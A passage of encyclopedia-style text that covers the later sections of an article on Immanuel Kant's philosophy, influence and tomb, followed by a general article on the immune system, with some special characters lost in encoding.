          Kant had developed the distinction between an object of art as a material value subject to the conventions of society and the transcendental condition of the judgment of taste as a "refined" value in the propositions of his Idea of A Universal History (1784). In the Fourth and Fifth Theses of that work he identified all art as the "fruits of unsociableness" due to men's "antagonism in society", and in the Seventh Thesis asserted that while such material property is indicative of a civilized state, only the ideal of morality and the universalization of refined value through the improvement of the mind of man "belongs to culture".


          


          Political philosophy


          In Perpetual Peace: A Philosophical Sketch (1795) Kant listed several conditions that he thought necessary for ending wars and creating a lasting peace. They included a world of constitutional republics. This was the first version of the democratic peace theory.


          He opposed "democracy," which at his time meant direct democracy, believing that majority rule posed a threat to individual liberty. He stated, "democracy is, properly speaking, necessarily a despotism, because it establishes an executive power in which 'all' decide for or even against one who does not agree; that is, 'all,' who are not quite all, decide, and this is a contradiction of the general will with itself and with freedom."


          


          Anthropology


          Kant lectured on anthropology for over 25 years. His Anthropology from a Pragmatic Point of View was published in 1798. (This was the subject of Michel Foucault's doctoral dissertation.) Kant's Lectures on Anthropology was published for the first time in 1997 in German. They have not been translated into English.


          


          Influence
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          The vastness of Kant's influence on Western thought is immeasurable. Over and above his specific influence on specific thinkers, Kant changed the framework within which philosophical inquiry has been carried out from his day through the present in ways that have been irreversible. In other words, he accomplished a paradigm shift: very little philosophy since Kant has been carried out as an extension of pre-Kantian philosophy or in the mode of thought and discourse of pre-Kantian philosophy. This shift consists in several closely related innovations that have become axiomatic to post-Kantian thought, both in philosophy itself and in the social sciences and humanities generally:


          
            	Kant's "Copernican revolution", that placed the role of the human subject or knower at the centre of inquiry into our knowledge, such that it is impossible to philosophize about things as they are independently of us or of how they are for us;

          


          
            	his invention of critical philosophy, that is of the notion of being able to discover and systematically explore possible inherent limits to our ability to know through philosophical reasoning;

          


          
            	his creation of the concept of "conditions of possibility", as in his notion of "the conditions of possible experience" -- that is that things, knowledge, and forms of consciousness rest on prior conditions that make them possible, so that to understand or know them we have to first understand these conditions;

          


          
            	his theory that objective experience is actively constituted or constructed by the functioning of the human mind;

          


          
            	his notion of moral autonomy as central to humanity;

          


          
            	his assertion of the principle that human beings should be treated as ends rather than as means.

          


          Some or all of these Kantian ideas can be seen in schools of thought as different from one another as German Idealism, Marxism, positivism, phenomenology, existentialism, critical theory, linguistic philosophy, structuralism, post-structuralism, and deconstructionism. Kant's influence also has extended to the social and behavioural sciences, as in the sociology of Max Weber, the psychology of Jean Piaget, and the linguistics of Noam Chomsky. Because of the thoroughness of the Kantian paradigm shift, his influence extends even to thinkers who do not specifically refer to his work or use his terminology.


          During his own life, there was a considerable amount of attention paid to his thought, much of it critical, though he did have a positive influence on Reinhold, Fichte, Schelling, Hegel, and Novalis during the 1780s and 1790s. The philosophical movement known as German Idealism developed from Kant's theoretical and practical writings. The German Idealists Fichte and Schelling, for example, attempted to bring traditionally "metaphysically" laden notions like "the Absolute," "God," or "Being" into the scope of Kant's critical philosophy. In so doing, the German Idealists attempted to reverse Kant's establishment of the unknowableness of unexperiencable ideas.


          Hegel was one of the first major critics of Kant's philosophy. Hegel thought Kant's moral philosophy was too formal, abstract and ahistorical. In response to Kant's abstract and formal account of morality, Hegel developed an ethics that considered the "ethical life" of the community. But Hegel's notion of "ethical life" is meant to subsume, rather than replace, Kantian "morality." And Hegel's philosophical work as a whole can be understood as attempting to defend Kant's conception of freedom as going beyond finite "inclinations," by means of reason. Thus, in contrast to later critics like Friedrich Nietzsche or Bertrand Russell, Hegel shares some of Kant's most basic concerns.


          Many British Roman Catholic writers, notably G. K. Chesterton and Hilaire Belloc, seized on Kant and promoted his work, with a view to restoring the philosophical legitimacy of a belief in God. Reaction against this, and an attack on Kant's use of language, is found in Ronald Englefield's article, "Kant as Defender of the Faith in Nineteenth-century England, reprinted in Critique of Pure Verbiage, Essays on Abuses of Language in Literary, Religious, and Philosophical Writings.


          Arthur Schopenhauer was strongly influenced by Kant's transcendental idealism. He, like G. E. Schulze, Jacobi and Fichte before him, was critical of Kant's theory of the thing in itself. Things in themselves, they argued, are neither the cause of our representations nor are they something completely beyond our access. For Schopenhauer things in themselves do not exist independently of the non-rational will. The world, as Schopenhauer would have it, is the striving and largely unconscious will.


          With the success and wide influence of Hegel's writings, Kant's influence began to wane, though there was in Germany a brief movement that hailed a return to Kant in the 1860s, beginning with the publication of Kant und die Epigonen in 1865 by Otto Liebmann, whose motto was "Back to Kant". During the turn of the 20th century there was an important revival of Kant's theoretical philosophy, known as Marburg Neo-Kantianism, represented in the work of Hermann Cohen, Paul Natorp, Ernst Cassirer, and anti-Neo-Kantian Nicolai Hartmann.


          Jurgen Habermas and John Rawls are two significant political and moral philosophers whose work is strongly influenced by Kant's moral philosophy. They both, regardless of recent relativist trends in philosophy, have argued that universality is essential to any viable moral philosophy.
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          With his Perpetual Peace, Kant is considered to have foreshadowed many of the ideas that have come to form the democratic peace theory, one of the main controversies in political science.


          Kant's notion of "Critique" or criticism has been quite influential. The Early German Romantics, especially Friedrich Schlegel in his "Athenaeum Fragments", used Kant's self-reflexive conception of criticism in their Romantic theory of poetry. Also in Aesthetics, Clement Greenberg, in his classic essay "Modernist Painting", uses Kantian criticism, what Greenberg refers to as "immanent criticism", to justify the aims of Abstract painting, a movement Greenberg saw as aware of the key limitiatonflatnessthat makes up the medium of painting.


          Kant believed that mathematical truths were forms of synthetic a priori knowledge, which means they are necessary and universal, yet known through intuition. Kants often brief remarks about mathematics influenced the mathematical school known as intuitionism, a movement in philosophy of mathematics opposed to Hilberts formalism, and the logicism of Frege and Bertrand Russell.


          Post-Kantian philosophy has yet to return to the style of thinking and arguing that characterized much of philosophy and metaphysics before Kant, although many British and American philosophers have preferred to trace their intellectual origins to Hume, thus bypassing Kant. The British philosopher P. F. Strawson is a notable exception, as is the American philosopher Wilfrid Sellars.


          Due in part to the influence of Strawson and Sellars, among others, there has been a renewed interest in Kant's view of the mind. Central to many debates in philosophy of psychology and cognitive science is Kant's conception of the unity of consciousness.


          


          Tomb & Statue in Kaliningrad
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          Kant's tomb is today in a mausoleum adjoining the northeast corner of Knigsberg Cathedral. The mausoleum was constructed by the architect Friedrich Lahrs and was finished in 1924 in time for the bicentenary of Kant's birth. Originally, Kant was buried inside the cathedral, but in 1880 his remains were moved outside and placed in a neo-Gothic chapel adjoining the northeast corner of the cathedral. Over the years, the chapel became dilapidated before it was demolished to make way for the mausoleum, which was built on the same spot, where it is today.


          The tomb and its mausoleum are some of the few artefacts of German times preserved by the Soviets after they conquered and annexed the city. Today, many newlyweds bring flowers to the mausoleum.


          A replica of the statue of Kant that stood in German times in front of the main University of Knigsberg building was donated by a German entity in the early 1990s and placed in the same grounds.
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            [image: A scanning electron microscope image of a single neutrophil (yellow), engulfing anthrax bacteria (orange).]

            
              A scanning electron microscope image of a single neutrophil (yellow), engulfing anthrax bacteria (orange).
            

          


          An immune system is a collection of mechanisms within an organism that protects against disease by identifying and killing pathogens and tumor cells. It detects a wide variety of agents, from viruses to parasitic worms, and needs to distinguish them from the organism's own healthy cells and tissues in order to function properly. Detection is complicated as pathogens adapt and evolve new ways to successfully infect the host organism.


          To survive this challenge, multiple mechanisms evolved that recognize and neutralize pathogens. Even simple unicellular organisms such as bacteria possess enzyme systems that protect against viral infections. Other basic immune mechanisms evolved in ancient eukaryotes and remain in their modern descendants, such as plants, fish, reptiles, and insects. These mechanisms include antimicrobial peptides called defensins, phagocytosis, and the complement system. More sophisticated mechanisms, however, developed relatively recently, with the evolution of vertebrates. The immune systems of vertebrates such as humans consist of many types of proteins, cells, organs, and tissues, which interact in an elaborate and dynamic network. As part of this more complex immune response, the vertebrate system adapts over time to recognize particular pathogens more efficiently. The adaptation process creates immunological memories and allows even more effective protection during future encounters with these pathogens. This process of acquired immunity is the basis of vaccination.


          Disorders in the immune system can result in disease. Immunodeficiency diseases occur when the immune system is less active than normal, resulting in recurring and life-threatening infections. Immunodeficiency can either be the result of a genetic disease, such as severe combined immunodeficiency, or be produced by pharmaceuticals or an infection, such as the acquired immune deficiency syndrome (AIDS) that is caused by the retrovirus HIV. In contrast, autoimmune diseases result from a hyperactive immune system attacking normal tissues as if they were foreign organisms. Common autoimmune diseases include rheumatoid arthritis, diabetes mellitus type 1 and lupus erythematosus. These critical roles of immunology in health and disease are areas of intense scientific study.


          


          Layered defense in immunity


          The immune system protects organisms from infection with layered defenses of increasing specificity. Most simply, physical barriers prevent pathogens such as bacteria and viruses from entering the organism. If a pathogen breaches these barriers, the innate immune system provides an immediate, but non-specific response. Innate immune systems are found in all plants and animals. However, if pathogens successfully evade the innate response, vertebrates possess a third layer of protection, the adaptive immune system, which is activated by the innate response. Here, the immune system adapts its response during an infection to improve its recognition of the pathogen. This improved response is then retained after the pathogen has been eliminated, in the form of an immunological memory, and allows the adaptive immune system to mount faster and stronger attacks each time this pathogen is encountered.
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          Both innate and adaptive immunity depend on the ability of the immune system to distinguish between self and non-self molecules. In immunology, self molecules are those components of an organism's body that can be distinguished from foreign substances by the immune system. Conversely, non-self molecules are those recognized as foreign molecules. One class of non-self molecules are called antigens (short for antibody generators) and are defined as substances that bind to specific immune receptors and elicit an immune response.


          


          Surface barriers


          Several barriers protect organisms from infection, including mechanical, chemical and biological barriers. The waxy cuticle of many leaves, the exoskeleton of insects, the shells and membranes of externally deposited eggs, and skin are examples of the mechanical barriers that are the first line of defense against infection. However, as organisms cannot be completely sealed against their environments, other systems act to protect body openings such as the lungs, intestines, and the genitourinary tract. In the lungs, coughing and sneezing mechanically eject pathogens and other irritants from the respiratory tract. The flushing action of tears and urine also mechanically expels pathogens, while mucus secreted by the respiratory and gastrointestinal tract serves to trap and entangle microorganisms.


          Chemical barriers also protect against infection. The skin and respiratory tract secrete antimicrobial peptides such as the - defensins. Enzymes such as lysozyme and phospholipase A2 in saliva, tears, and breast milk are also antibacterials. Vaginal secretions serve as a chemical barrier following menarche, when they become slightly acidic, while semen contains defensins and zinc to kill pathogens. In the stomach, gastric acid and proteases serve as powerful chemical defenses against ingested pathogens.


          Within the genitourinary and gastrointestinal tracts, commensal flora serve as biological barriers by competing with pathogenic bacteria for food and space and, in some cases, by changing the conditions in their environment, such as pH or available iron. This reduces the probability that pathogens will be able to reach sufficient numbers to cause illness. However, since most antibiotics non-specifically target bacteria and do not affect fungi, oral antibiotics can lead to an overgrowth of fungi and cause conditions such as a vaginal candidiasis ( yeast infection). There is good evidence that re-introduction of probiotic flora, such as pure cultures of the lactobacilli normally found in yoghurt, helps restore a healthy balance of microbial populations in intestinal infections in children and encouraging preliminary data in studies on bacterial gastroenteritis, inflammatory bowel diseases, urinary tract infection and post-surgical infections.


          


          Innate immunity


          Microorganisms that successfully enter an organism will encounter the cells and mechanisms of the innate immune system. The innate response is usually triggered when microbes are identified by pattern recognition receptors, which recognize components that are conserved among broad groups of microorganisms. Innate immune defenses are non-specific, meaning these systems respond to pathogens in a generic way. This system does not confer long-lasting immunity against a pathogen. The innate immune system is the dominant system of host defense in most organisms.


          


          Humoral and chemical barriers


          


          Inflammation


          Inflammation is one of the first responses of the immune system to infection. The symptoms of inflammation are redness and swelling, which are caused by increased blood flow into a tissue. Inflammation is produced by eicosanoids and cytokines, which are released by injured or infected cells. Eicosanoids include prostaglandins that produce fever and the dilation of blood vessels associated with inflammation, and leukotrienes that attract certain white blood cells (leukocytes). Common cytokines include interleukins that are responsible for communication between white blood cells; chemokines that promote chemotaxis; and interferons that have anti-viral effects, such as shutting down protein synthesis in the host cell. Growth factors and cytotoxic factors may also be released. These cytokines and other chemicals recruit immune cells to the site of infection and promote healing of any damaged tissue following the removal of pathogens.


          


          Complement system


          The complement system is a biochemical cascade that attacks the surfaces of foreign cells. It contains over 20 different proteins and is named for its ability to complement the killing of pathogens by antibodies. Complement is the major humoral component of the innate immune response. Many species have complement systems, including non-mammals like plants, fish, and some invertebrates.


          In humans, this response is activated by complement binding to antibodies that have attached to these microbes or the binding of complement proteins to carbohydrates on the surfaces of microbes. This recognition signal triggers a rapid killing response. The speed of the response is a result of signal amplification that occurs following sequential proteolytic activation of complement molecules, which are also proteases. After complement proteins initially bind to the microbe, they activate their protease activity, which in turn activates other complement proteases, and so on. This produces a catalytic cascade that amplifies the initial signal by controlled positive feedback. The cascade results in the production of peptides that attract immune cells, increase vascular permeability, and opsonize (coat) the surface of a pathogen, marking it for destruction. This deposition of complement can also kill cells directly by disrupting their plasma membrane.


          


          Cellular barriers of the innate system
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          Leukocytes ( white blood cells) act like independent, single-celled organisms and are the second arm of the innate immune system. The innate leukocytes include the phagocytes ( macrophages, neutrophils, and dendritic cells), mast cells, eosinophils, basophils, and natural killer cells. These cells identify and eliminate pathogens, either by attacking larger pathogens through contact or by engulfing and then killing microorganisms. Innate cells are also important mediators in the activation of the adaptive immune system.


          Phagocytosis is an important feature of cellular innate immunity performed by cells called ' phagocytes' that engulf, or eat, pathogens or particles. Phagocytes generally patrol the body searching for pathogens, but can be called to specific locations by cytokines. Once a pathogen has been engulfed by a phagocyte, it becomes trapped in an intracellular vesicle called a phagosome, which subsequently fuses with another vesicle called a lysosome to form a phagolysosome. The pathogen is killed by the activity of digestive enzymes or following a respiratory burst that releases free radicals into the phagolysosome. Phagocytosis evolved as a means of acquiring nutrients, but this role was extended in phagocytes to include engulfment of pathogens as a defense mechanism. Phagocytosis probably represents the oldest form of host defense, as phagocytes have been identified in both vertebrate and invertebrate animals.


          Neutrophils and macrophages are phagocytes that travel throughout the body in pursuit of invading pathogens. Neutrophils are normally found in the bloodstream and are the most abundant type of phagocyte, normally representing 50% to 60% of the total circulating leukocytes. During the acute phase of inflammation, particularly as a result of bacterial infection, neutrophils migrate toward the site of inflammation in a process called chemotaxis, and are usually the first cells to arrive at the scene of infection. Macrophages are versatile cells that reside within tissues and produce a wide array of chemicals including enzymes, complement proteins, and regulatory factors such as interleukin 1. Macrophages also act as scavengers, ridding the body of worn-out cells and other debris, and as antigen-presenting cells that activate the adaptive immune system.


          Dendritic cells (DC) are phagocytes in tissues that are in contact with the external environment; therefore, they are located mainly in the skin, nose, lungs, stomach, and intestines. They are named for their resemblance to neuronal dendrites, as both have many spine-like projections, but dendritic cells are in no way connected to the nervous system. Dendritic cells serve as a link between the innate and adaptive immune systems, as they present antigen to T cells, one of the key cell types of the adaptive immune system.


          Mast cells reside in connective tissues and mucous membranes, and regulate the inflammatory response. They are most often associated with allergy and anaphylaxis. Basophils and eosinophils are related to neutrophils. They secrete chemical mediators that are involved in defending against parasites and play a role in allergic reactions, such as asthma. Natural killer ( NK cells) cells are leukocytes that attack and destroy tumor cells, or cells that have been infected by viruses.


          


          Adaptive immunity


          The adaptive immune system evolved in early vertebrates and allows for a stronger immune response as well as immunological memory, where each pathogen is "remembered" by a signature antigen. The adaptive immune response is antigen-specific and requires the recognition of specific non-self antigens during a process called antigen presentation. Antigen specificity allows for the generation of responses that are tailored to specific pathogens or pathogen-infected cells. The ability to mount these tailored responses is maintained in the body by "memory cells". Should a pathogen infect the body more than once, these specific memory cells are used to quickly eliminate it.


          


          Lymphocytes


          The cells of the adaptive immune system are special types of leukocytes, called lymphocytes. B cells and T cells are the major types of lymphocytes and are derived from hematopoietic stem cells in the bone marrow. B cells are involved in the humoral immune response, whereas T cells are involved in cell-mediated immune response.
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          Both B cells and T cells carry receptor molecules that recognize specific targets. T cells recognize a non-self target, such as a pathogen, only after antigens (small fragments of the pathogen) have been processed and presented in combination with a self receptor called a major histocompatibility complex (MHC) molecule. There are two major subtypes of T cells: the killer T cell and the helper T cell. Killer T cells only recognize antigens coupled to Class I MHC molecules, while helper T cells only recognize antigens coupled to Class II MHC molecules. These two mechanisms of antigen presentation reflect the different roles of the two types of T cell. A third, minor subtype are the  T cells that recognize intact antigens that are not bound to MHC receptors.


          In contrast, the B cell antigen-specific receptor is an antibody molecule on the B cell surface, and recognizes whole pathogens without any need for antigen processing. Each lineage of B cell expresses a different antibody, so the complete set of B cell antigen receptors represent all the antibodies that the body can manufacture.


          


          Killer T cells
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          Killer T cell are a sub-group of T cells that kill cells infected with viruses (and other pathogens), or are otherwise damaged or dysfunctional. As with B cells, each type of T cell recognises a different antigen. Killer T cells are activated when their T cell receptor (TCR) binds to this specific antigen in a complex with the MHC Class I receptor of another cell. Recognition of this MHC:antigen complex is aided by a co-receptor on the T cell, called CD8. The T cell then travels throughout the body in search of cells where the MHC I receptors bear this antigen. When an activated T cell contacts such cells, it releases cytotoxins, such as perforin, which form pores in the target cell's plasma membrane, allowing ions, water and toxins to enter. The entry of another toxin called granulysin (a protease) induces the target cell to undergo apoptosis. T cell killing of host cells is particularly important in preventing the replication of viruses. T cell activation is tightly controlled and generally requires a very strong MHC/antigen activation signal, or additional activation signals provided by "helper" T cells (see below).


          


          Helper T cells
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          Helper T cells regulate both the innate and adaptive immune responses and help determine which types of immune responses the body will make to a particular pathogen. These cells have no cytotoxic activity and do not kill infected cells or clear pathogens directly. They instead control the immune response by directing other cells to perform these tasks.


          Helper T cells express T cell receptors (TCR) that recognize antigen bound to Class II MHC molecules. The MHC:antigen complex is also recognized by the helper cell's CD4 co-receptor, which recruits molecules inside the T cell (e.g. Lck) that are responsible for T cell's activation. Helper T cells have a weaker association with the MHC:antigen complex than observed for killer T cells, meaning many receptors (around 200300) on the helper T cell must be bound by an MHC:antigen in order to activate the helper cell, while killer T cells can be activated by engagement of a single MHC:antigen molecule. Helper T cell activation also requires longer duration of engagement with an antigen-presenting cell. The activation of a resting helper T cell causes it to release cytokines that influence the activity of many cell types. Cytokine signals produced by helper T cells enhance the microbicidal function of macrophages and the activity of killer T cells. In addition, helper T cell activation causes an upregulation of molecules expressed on the T cell's surface, such as CD40 ligand (also called CD154), which provide extra stimulatory signals typically required to activate antibody-producing B cells.
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           T cells


           T cells possess an alternative T cell receptor (TCR) as opposed to CD4+ and CD8+ () T cells and share the characteristics of helper T cells, cytotoxic T cells and NK cells. The conditions that produce responses from  T cells are not fully understood. Like other 'unconventional' T cell subsets bearing invariant TCRs, such as CD1d-restricted Natural Killer T cells,  T cells straddle the border between innate and adaptive immunity. On one hand,  T cells are a component of adaptive immunity as they rearrange TCR genes to produce receptor diversity and can also develop a memory phenotype. On the other hand, the various subsets are also part of the innate immune system, as restricted TCR or NK receptors may be used as pattern recognition receptors. For example, large numbers of human V9/V2 T cells respond within hours to common molecules produced by microbes, and highly restricted V1+ T cells in epithelia will respond to stressed epithelial cells.
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          B lymphocytes and antibodies


          A B cell identifies pathogens when antibodies on its surface bind to a specific foreign antigen. This antigen/antibody complex is taken up by the B cell and processed by proteolysis into peptides. The B cell then displays these antigenic peptides on its surface MHC class II molecules. This combination of MHC and antigen attracts a matching helper T cell, which releases lymphokines and activates the B cell. As the activated B cell then begins to divide, its offspring ( plasma cells) secrete millions of copies of the antibody that recognizes this antigen. These antibodies circulate in blood plasma and lymph, bind to pathogens expressing the antigen and mark them for destruction by complement activation or for uptake and destruction by phagocytes. Antibodies can also neutralize challenges directly, by binding to bacterial toxins or by interfering with the receptors that viruses and bacteria use to infect cells. CD20 antigen is also found on B lymphocytes.


          


          Alternative adaptive immune system


          Although the classical molecules of the adaptive immune system (e.g. antibodies and T cell receptors) exist only in jawed vertebrates, a distinct lymphocyte-derived molecule has been discovered in primitive jawless vertebrates, such as the lamprey and hagfish. These animals possess a large array of molecules called variable lymphocyte receptors (VLRs) that, like the antigen receptors of jawed vertebrates, are produced from only a small number (one or two) of genes. These molecules are believed to bind pathogenic antigens in a similar way to antibodies, and with the same degree of specificity.


          


          Immunological memory


          When B cells and T cells are activated and begin to replicate, some of their offspring will become long-lived memory cells. Throughout the lifetime of an animal, these memory cells will remember each specific pathogen encountered and can mount a strong response if the pathogen is detected again. This is "adaptive" because it occurs during the lifetime of an individual as an adaptation to infection with that pathogen and prepares the immune system for future challenges. Immunological memory can either be in the form of passive short-term memory or active long-term memory.


          


          Passive memory


          Newborn infants have no prior exposure to microbes and are particularly vulnerable to infection. Several layers of passive protection are provided by the mother. During pregnancy, a particular type of antibody, called IgG, is transported from mother to baby directly across the placenta, so human babies have high levels of antibodies even at birth, with the same range of antigen specificities as their mother. Breast milk also contains antibodies that are transferred to the gut of the infant and protect against bacterial infections until the newborn can synthesize its own antibodies. This is passive immunity because the fetus does not actually make any memory cells or antibodies--it only borrows them. This passive immunity is usually short-term, lasting from a few days up to several months. In medicine, protective passive immunity can also be transferred artificially from one individual to another via antibody-rich serum.
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          Active memory and immunization


          Long-term active memory is acquired following infection by activation of B and T cells. Active immunity can also be generated artificially, through vaccination. The principle behind vaccination (also called immunization) is to introduce an antigen from a pathogen in order to stimulate the immune system and develop specific immunity against that particular pathogen without causing disease associated with that organism. This deliberate induction of an immune response is successful because it exploits the natural specificity of the immune system, as well as its inducibility. With infectious disease remaining one of the leading causes of death in the human population, vaccination represents the most effective manipulation of the immune system mankind has developed.


          Most viral vaccines are based on live attenuated viruses, while many bacterial vaccines are based on acellular components of micro-organisms, including harmless toxin components. Since many antigens derived from acellular vaccines do not strongly induce the adaptive response, most bacterial vaccines are provided with additional adjuvants that activate the antigen-presenting cells of the innate immune system and maximize immunogenicity.


          


          Disorders of human immunity


          The immune system is a remarkably effective structure that incorporates specificity, inducibility and adaptation. Failures of host defense do occur, however, and fall into three broad categories: immunodeficiencies, autoimmunity, and hypersensitivities.


          


          Immunodeficiencies


          Immunodeficiencies occur when one or more of the components of the immune system are inactive. The ability of the immune system to respond to pathogens is diminished in both the young and the elderly, with immune responses beginning to decline at around 50 years of age due to immunosenescence. In developed countries, obesity, alcoholism, and drug use are common causes of poor immune function. However, malnutrition is the most common cause of immunodeficiency in developing countries. Diets lacking sufficient protein are associated with impaired cell-mediated immunity, complement activity, phagocyte function, IgA antibody concentrations, and cytokine production. Deficiency of single nutrients such as iron; copper; zinc; selenium; vitamins A, C, E, and B6; and folic acid (vitamin B9) also reduces immune responses. Additionally, the loss of the thymus at an early age through genetic mutation or surgical removal results in severe immunodeficiency and a high susceptibility to infection.


          Immunodeficiencies can also be inherited or ' acquired'. Chronic granulomatous disease, where phagocytes have a reduced ability to destroy pathogens, is an example of an inherited, or congenital, immunodeficiency. AIDS and some types of cancer cause acquired immunodeficiency.


          


          Autoimmunity


          Overactive immune responses comprise the other end of immune dysfunction, particularly the autoimmune disorders. Here, the immune system fails to properly distinguish between self and non-self, and attacks part of the body. Under normal circumstances, many T cells and antibodies react with self peptides. One of the functions of specialized cells (located in the thymus and bone marrow) is to present young lymphocytes with self antigens produced throughout the body and to eliminate those cells that recognize self-antigens, preventing autoimmunity.


          


          Hypersensitivity


          Hypersensitivity is an immune response that damages the body's own tissues. They are divided into four classes (Type I  IV) based on the mechanisms involved and the time course of the hypersensitive reaction. Type I hypersensitivity is an immediate or anaphylactic reaction, often associated with allergy. Symptoms can range from mild discomfort to death. Type I hypersensitivity is mediated by IgE released from mast cells and basophils. Type II hypersensitivity occurs when antibodies bind to antigens on the patient's own cells, marking them for destruction. This is also called antibody-dependent (or cytotoxic) hypersensitivity, and is mediated by IgG and IgM antibodies. Immune complexes (aggregations of antigens, complement proteins, and IgG and IgM antibodies) deposited in various tissues trigger Type III hypersensitivity reactions. Type IV hypersensitivity (also known as cell-mediated or delayed type hypersensitivity) usually takes between two and three days to develop. Type IV reactions are involved in many autoimmune and infectious diseases, but may also involve contact dermatitis ( poison ivy). These reactions are mediated by T cells, monocytes, and macrophages.


          


          Other mechanisms of host defense


          It is likely that a multicomponent, adaptive immune system arose with the first vertebrates, as invertebrates do not generate lymphocytes or an antibody-based humoral response. Many species, however, utilize mechanisms that appear to be precursors of these aspects of vertebrate immunity. Immune systems appear even in the most structurally-simple forms of life, with bacteria using a unique defense mechanism, called the restriction modification system to protect themselves from viral pathogens, called bacteriophages.


          Pattern recognition receptors are proteins used by nearly all organisms to identify molecules associated with pathogens. Antimicrobial peptides called defensins are an evolutionarily conserved component of the innate immune response found in all animals and plants, and represent the main form of invertebrate systemic immunity. The complement system and phagocytic cells are also used by most forms of invertebrate life. Ribonucleases and the RNA interference pathway are conserved across all eukaryotes, and are thought to play a role in the immune response to viruses.


          Unlike animals, plants lack phagocytic cells, and most plant immune responses involve systemic chemical signals that are sent through a plant. When a part of a plant becomes infected, the plant produces a localized hypersensitive response, whereby cells at the site of infection undergo rapid apoptosis to prevent the spread of the disease to other parts of the plant. Systemic acquired resistance (SAR) is a type of defensive response used by plants that renders the entire plant resistant to a particular infectious agent. RNA silencing mechanisms are particularly important in this systemic response as they can block virus replication.


          


          Tumor immunology
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          Another important role of the immune system is to identify and eliminate tumors. The transformed cells of tumors express antigens that are not found on normal cells. To the immune system, these antigens appear foreign, and their presence causes immune cells to attack the transformed tumor cells. The antigens expressed by tumors have several sources; some are derived from oncogenic viruses like human papillomavirus, which causes cervical cancer, while others are the organism's own proteins that occur at low levels in normal cells but reach high levels in tumor cells. One example is an enzyme called tyrosinase that, when expressed at high levels, transforms certain skin cells (e.g. melanocytes) into tumors called melanomas. A third possible source of tumor antigens are proteins normally important for regulating cell growth and survival, that commonly mutate into cancer inducing molecules called oncogenes.


          The main response of the immune system to tumors is to destroy the abnormal cells using killer T cells, sometimes with the assistance of helper T cells. Tumor antigens are presented on MHC class I molecules in a similar way to viral antigens. This allows killer T cells to recognize the tumor cell as abnormal. NK cells also kill tumorous cells in a similar way, especially if the tumor cells have fewer MHC class I molecules on their surface than normal; this is a common phenomenon with tumors. Sometimes antibodies are generated against tumor cells allowing for their destruction by the complement system.


          Clearly, some tumors evade the immune system and go on to become cancers. Tumor cells often have a reduced number of MHC class I molecules on their surface, thus avoiding detection by killer T cells. Some tumor cells also release products that inhibit the immune response; for example by secreting the cytokine TGF-, which suppresses the activity of macrophages and lymphocytes. In addition, immunological tolerance may develop against tumor antigens, so the immune system no longer attacks the tumor cells.


          Paradoxically, macrophages can promote tumor growth when tumor cells send out cytokines that attract macrophages which then generate cytokines and growth factors that nurture tumor development. In addition, a combination of hypoxia in the tumor and a cytokine produced by macrophages induces tumor cells to decrease production of a protein that blocks metastasis and thereby assists spread of cancer cells.


          


          Physiological regulation


          Hormones can act as immunomodulators, altering the sensitivity of the immune system. For example, female sex hormones are known immunostimulators of both adaptive and innate immune responses. Some autoimmune diseases such as lupus erythematosus strike women preferentially, and their onset often coincides with puberty. By contrast, male sex hormones such as testosterone seem to be immunosuppressive. Other hormones appear to regulate the immune system as well, most notably prolactin, growth hormone and vitamin D. It is conjectured that a progressive decline in hormone levels with age is partially responsible for weakened immune responses in aging individuals. Conversely, some hormones are regulated by the immune system, notably thyroid hormone activity.


          The immune system is enhanced by sleep and rest, and is impaired by stress.


          Diet may affect the immune system; for example, fresh fruits, vegetables, and foods rich in certain fatty acids may foster a healthy immune system. Likewise, fetal undernourishment can cause a lifelong impairment of the immune system. In traditional medicine, some herbs are believed to stimulate the immune system, such as echinacea, licorice, ginseng, astragalus, sage, garlic, elderberry, shiitake and lingzhi mushrooms, and hyssop, as well as honey. Studies have suggested that such herbs can indeed stimulate the immune system, although their mode of action is complex and difficult to characterize.


          


          Manipulation in medicine
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          The immune response can be manipulated to suppress unwanted responses resulting from autoimmunity, allergy, and transplant rejection, and to stimulate protective responses against pathogens that largely elude the immune system (see immunization). Immunosuppressive drugs are used to control autoimmune disorders or inflammation when excessive tissue damage occurs, and to prevent transplant rejection after an organ transplant.


          Anti-inflammatory drugs are often used to control the effects of inflammation. The glucocorticoids are the most powerful of these drugs; however, these drugs can have many undesirable side effects (e.g., central obesity, hyperglycemia, osteoporosis) and their use must be tightly controlled. Therefore, lower doses of anti-inflammatory drugs are often used in conjunction with cytotoxic or immunosuppressive drugs such as methotrexate or azathioprine. Cytotoxic drugs inhibit the immune response by killing dividing cells such as activated T cells. However, the killing is indiscriminate and other constantly dividing cells and their organs are affected, which causes toxic side effects. Immunosuppressive drugs such as cyclosporin prevent T cells from responding to signals correctly by inhibiting signal transduction pathways.


          Larger drugs (>500 Da) can provoke a neutralizing immune response, particularly if the drugs are administered repeatedly, or in larger doses. This limits the effectiveness of drugs based on larger peptides and proteins (which are typically larger than 6000 Da). In some cases, the drug itself is not immunogenic, but may be co-administered with an immunogenic compound, as is sometimes the case for Taxol. Computational methods have been developed to predict the immunogenicity of peptides and proteins, which are particularly useful in designing therapeutic antibodies, assessing likely virulence of mutations in viral coat particles, and validation of proposed peptide-based drug treatments. Early techniques relied mainly on the observation that hydrophilic amino acids are overrepresented in epitope regions than hydrophobic amino acids; however, more recent developments rely on machine learning techniques using databases of existing known epitopes, usually on well-studied virus proteins, as a training set. A publicly accessible database has been established for the cataloguing of epitopes from pathogens known to be recognizable by B cells. The emerging field of bioinformatics-based studies of immunogenicity is referred to as immunoinformatics.


          


          Manipulation by pathogens


          The success of any pathogen is dependent on its ability to elude host immune responses. Therefore, pathogens have developed several methods that allow them to successfully infect a host, while evading immune-mediated destruction. Bacteria often overcome physical barriers by secreting enzymes that digest the barrier  for example, by using a type II secretion system. Alternatively, using a type III secretion system, they may insert a hollow tube into the host cell, which provides a direct conduit for proteins to move from the pathogen to the host; the proteins transported along the tube are often used to shut down host defenses.


